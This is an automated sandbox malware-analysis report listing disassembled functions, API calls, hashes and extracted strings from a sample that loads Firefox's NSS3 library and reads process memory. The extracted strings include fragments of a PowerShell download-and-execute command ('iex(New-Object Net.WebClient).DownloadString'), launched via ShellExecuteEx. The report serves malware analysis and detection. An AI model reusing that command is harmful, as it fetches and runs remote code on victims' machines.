Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 21eca9f10984246dda6905f275b0482a887ce77ac1f8ee6ac6edd4fe4cdefec1
Instruction ID: 508f789c11a2bc6522e44a5283542246edb511ce6786610fc63d778d2e3e9264
Opcode Fuzzy Hash: 21eca9f10984246dda6905f275b0482a887ce77ac1f8ee6ac6edd4fe4cdefec1
Instruction Fuzzy Hash: 07214C729052009BEB208E188E05B9A7BE4AF8573CF144325FC149B7C1F739D50987A7

Function 6C7AEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7AEE85
realloc.MOZGLUE(9E4141AD,?), ref: 6C7AEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C7AEEC5

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

htonl.WSOCK32(?), ref: 6C7AEEE3
htonl.WSOCK32(00000000,?), ref: 6C7AEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C7AEF01

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: a5bba355b094f43ac52e67476650164d13c63d1319915a1997e8c14d903d99e3
Instruction ID: 0f2d85952ea25485e9309cf16d2d6db02f61ee72211cdbeb9e8dfa46d4ba6696
Opcode Fuzzy Hash: a5bba355b094f43ac52e67476650164d13c63d1319915a1997e8c14d903d99e3
Instruction Fuzzy Hash: 5421F971A052289FDF209F68DD8479AB7A8EF49358F148239ED099B741E330EC15C7E2

Function 6C72BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C7ADC29,?), ref: 6C72BE64

Part of subcall function 6C780FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7287ED,00000800,6C71EF74,00000000), ref: 6C781000
Part of subcall function 6C780FF0: PR_NewLock.NSS3(?,00000800,6C71EF74,00000000), ref: 6C781016
Part of subcall function 6C780FF0: PL_InitArenaPool.NSS3(00000000,security,6C7287ED,00000008,?,00000800,6C71EF74,00000000), ref: 6C78102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C7ADC29,?), ref: 6C72BE78

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C7ADC29,?), ref: 6C72BE96

Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C7ADC29,?), ref: 6C72BEBB

Part of subcall function 6C77FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C778D2D,?,00000000,?), ref: 6C77FB85
Part of subcall function 6C77FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C77FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C7ADC29,?), ref: 6C72BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C7ADC29,?), ref: 6C72BEF3

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 05345b10c3cf8315767ca0e675db1eb9abe07ed7192700456dee0df8fcbf5788
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 6C11A571E012055BEB008B659E49FAE37ACAF41359F544038EE19AB780EB35F909C7A1

Function 6C7B3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C7B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7B3D3F

Part of subcall function 6C72BA90: PORT_NewArena_Util.NSS3(00000800,6C7B3CAF,?), ref: 6C72BABF
Part of subcall function 6C72BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C7B3CAF,?), ref: 6C72BAD5
Part of subcall function 6C72BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C7B3CAF,?), ref: 6C72BB08
Part of subcall function 6C72BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C7B3CAF,?), ref: 6C72BB1A
Part of subcall function 6C72BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C7B3CAF,?), ref: 6C72BB3B

PR_EnterMonitor.NSS3(?), ref: 6C7B3CCB

Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E90AB
Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E90C9
Part of subcall function 6C7E9090: EnterCriticalSection.KERNEL32 ref: 6C7E90E5
Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E9116
Part of subcall function 6C7E9090: LeaveCriticalSection.KERNEL32 ref: 6C7E913F

PR_EnterMonitor.NSS3(?), ref: 6C7B3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7B3CF8
PR_ExitMonitor.NSS3(?), ref: 6C7B3D15
PR_ExitMonitor.NSS3(?), ref: 6C7B3D2E

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: cd8ea17c239a080adbe30939849ab8a924bca277981751b77229a06db14d43cc
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: FE112BB66106006FE7215E69FE46BDBB3F4EF11308F504534E41AA7B21EA32F919C652

Function 6C77FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C77FE08

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C77FE1D

Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C77FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C77FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C77FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C77FE6F

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 44391dd0c8439f8d40648484c50418738e9165a40e127e268aefa885f85c680a
Instruction ID: 17395d8a5499712b3fc7f7694fb8f2e8649f6f926a7949e400706b90b4a26153
Opcode Fuzzy Hash: 44391dd0c8439f8d40648484c50418738e9165a40e127e268aefa885f85c680a
Instruction Fuzzy Hash: B31108B6601209ABEF208F54DE48A5B779CAF5479DF248038ED1C87B12E771D914C7B1

Function 6C82FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C82FD9E

Part of subcall function 6C7E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C711A48), ref: 6C7E9BB3
Part of subcall function 6C7E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C711A48), ref: 6C7E9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C82FDB9

Part of subcall function 6C70A900: TlsGetValue.KERNEL32(00000000,?,6C8814E4,?,6C6A4DD9), ref: 6C70A90F
Part of subcall function 6C70A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C70A94F

PR_Unlock.NSS3 ref: 6C82FDD4
PR_Lock.NSS3 ref: 6C82FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C82FE0D
PR_Unlock.NSS3 ref: 6C82FE23

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 037f77a899c265aa830c09c8dc84cde835e750050b429935b563859391d38b66
Instruction ID: 53fbc69fac8d429c437543aa43adfaf85108f8326fb670bf1bce0ec16f36c566
Opcode Fuzzy Hash: 037f77a899c265aa830c09c8dc84cde835e750050b429935b563859391d38b66
Instruction Fuzzy Hash: 860182FAA006115FCF255E19FD088567622BB1336C7150775E82647BA2EB22DD28C6C2

Function 0041CD0E Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041CD1A

Part of subcall function 0041C2A0: __getptd_noexit.LIBCMT ref: 0041C2A3
Part of subcall function 0041C2A0: __amsg_exit.LIBCMT ref: 0041C2B0

__amsg_exit.LIBCMT ref: 0041CD3A
__lock.LIBCMT ref: 0041CD4A
InterlockedDecrement.KERNEL32(?), ref: 0041CD67
free.MSVCRT ref: 0041CD7A
InterlockedIncrement.KERNEL32(0042C558), ref: 0041CD92

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 7d16a1e83ff58dfdb830fc8266c4bafa6f0afd5e7dded616e769d1c33b91eb46
Instruction ID: 81166cf5a2c435bb4aac1af76a8190dca09a737386ef4d0c79be19083c51ecfa
Opcode Fuzzy Hash: 7d16a1e83ff58dfdb830fc8266c4bafa6f0afd5e7dded616e769d1c33b91eb46
Instruction Fuzzy Hash: C2018835A817219BC721AB6AACC57DE7B60BF04714F55412BE80467790C73CA9C1CBDD

Function 00417180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0041719F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041741A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 004171CD

Part of subcall function 00416E50: strlen.MSVCRT ref: 00416E61
Part of subcall function 00416E50: strlen.MSVCRT ref: 00416E85

VirtualQueryEx.KERNEL32(0041758D,00000000,?,0000001C), ref: 00417212
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041741A), ref: 00417333

Part of subcall function 00417060: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00417078

Strings

@, xrefs: 00417226

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: fb37d5dfae784a160399b72835e1c1bb9686aa045b5c8bb6ae6988575cdfbf40
Instruction ID: d4c246fcbb90b677cbfa603dc812bd51b07a2c71a26f71c1c9cdc23e16c3c5e2
Opcode Fuzzy Hash: fb37d5dfae784a160399b72835e1c1bb9686aa045b5c8bb6ae6988575cdfbf40
Instruction Fuzzy Hash: CD5106B5E04109EBDB08CF98D981AEFB7B6BF88300F148159F915A7340D738AA41DBA5

Function 6C76FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C76FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C76FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C76FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C76FDDE

Part of subcall function 6C778800: TlsGetValue.KERNEL32(?,6C78085A,00000000,?,6C728369,?), ref: 6C778821
Part of subcall function 6C778800: TlsGetValue.KERNEL32(?,?,6C78085A,00000000,?,6C728369,?), ref: 6C77883D
Part of subcall function 6C778800: EnterCriticalSection.KERNEL32(?,?,?,6C78085A,00000000,?,6C728369,?), ref: 6C778856
Part of subcall function 6C778800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C778887
Part of subcall function 6C778800: PR_Unlock.NSS3(?,?,?,?,6C78085A,00000000,?,6C728369,?), ref: 6C778899

Strings

pkcs11:, xrefs: 6C76FC4F

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: a7229dde4e6493e79dc31bcc88d8e38f1efa2b0476d43988d9830b950d67c19a
Instruction ID: d5cba15333a3e37ad71aa581dd9f8bd29e2021b5631de386405cdf298d149581
Opcode Fuzzy Hash: a7229dde4e6493e79dc31bcc88d8e38f1efa2b0476d43988d9830b950d67c19a
Instruction Fuzzy Hash: D551D0B2A01111ABEF108F6ADF5AB9A3365AB4135CF180035DD156BF52EB20F904CBA2

Function 00406A00 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E7A), ref: 00406A69

Strings

zn@, xrefs: 00406B78, 00406C06, 00406C0B, 00406BB5
zn@, xrefs: 00406A0D, 00406A19, 00406A2C, 00406A35, 00406A59, 00406A82, 00406A85, 00406B3F, 00406B51, 00406B5D, 00406B66, 00406BE3, 00406B99, 00406A9A, 00406ABD, 00406AC9, 00406AF1, 00406B21, 00406B33, 00406AFD, 00406B0A, 00406AA6

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: zn@$zn@
API String ID: 1029625771-1156428846
Opcode ID: 3fc5a8dedeb49d1d19b08a8b2b74cc72c2b475cc3767d007be69e7bc9d832ffb
Instruction ID: 56bd16fc9bcf92c18956b4b249a59c76870f8c01999fa8d2962da2cd55bb9a52
Opcode Fuzzy Hash: 3fc5a8dedeb49d1d19b08a8b2b74cc72c2b475cc3767d007be69e7bc9d832ffb
Instruction Fuzzy Hash: C571D874A04109DFDB04CF48C494BAAB7B1FF88305F158179E84AAF395C739AA91CF95

Function 00412EE0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

ShellExecuteEx.SHELL32(0000003C), ref: 00412FD5

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412F14
<, xrefs: 00412F89
')", xrefs: 00412F03
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412F54

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 74858e34b4995d8d5bef9d854cecfc67382f680ec177bbce7e913faa205b38a7
Instruction ID: fa4238ec13a9909d2a06eabaeedbec9afd3c4d5d27ba3f2f176ac5e057c61c04
Opcode Fuzzy Hash: 74858e34b4995d8d5bef9d854cecfc67382f680ec177bbce7e913faa205b38a7
Instruction Fuzzy Hash: DB415E70E011089ADB04EFA1D866BEDBB79AF10314F40445EF10277196EF782AD9CF99

Function 6C6ABDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C6ABE02

Part of subcall function 6C7D9C40: memcmp.VCRUNTIME140(?,00000000,6C6AC52B), ref: 6C7D9D53

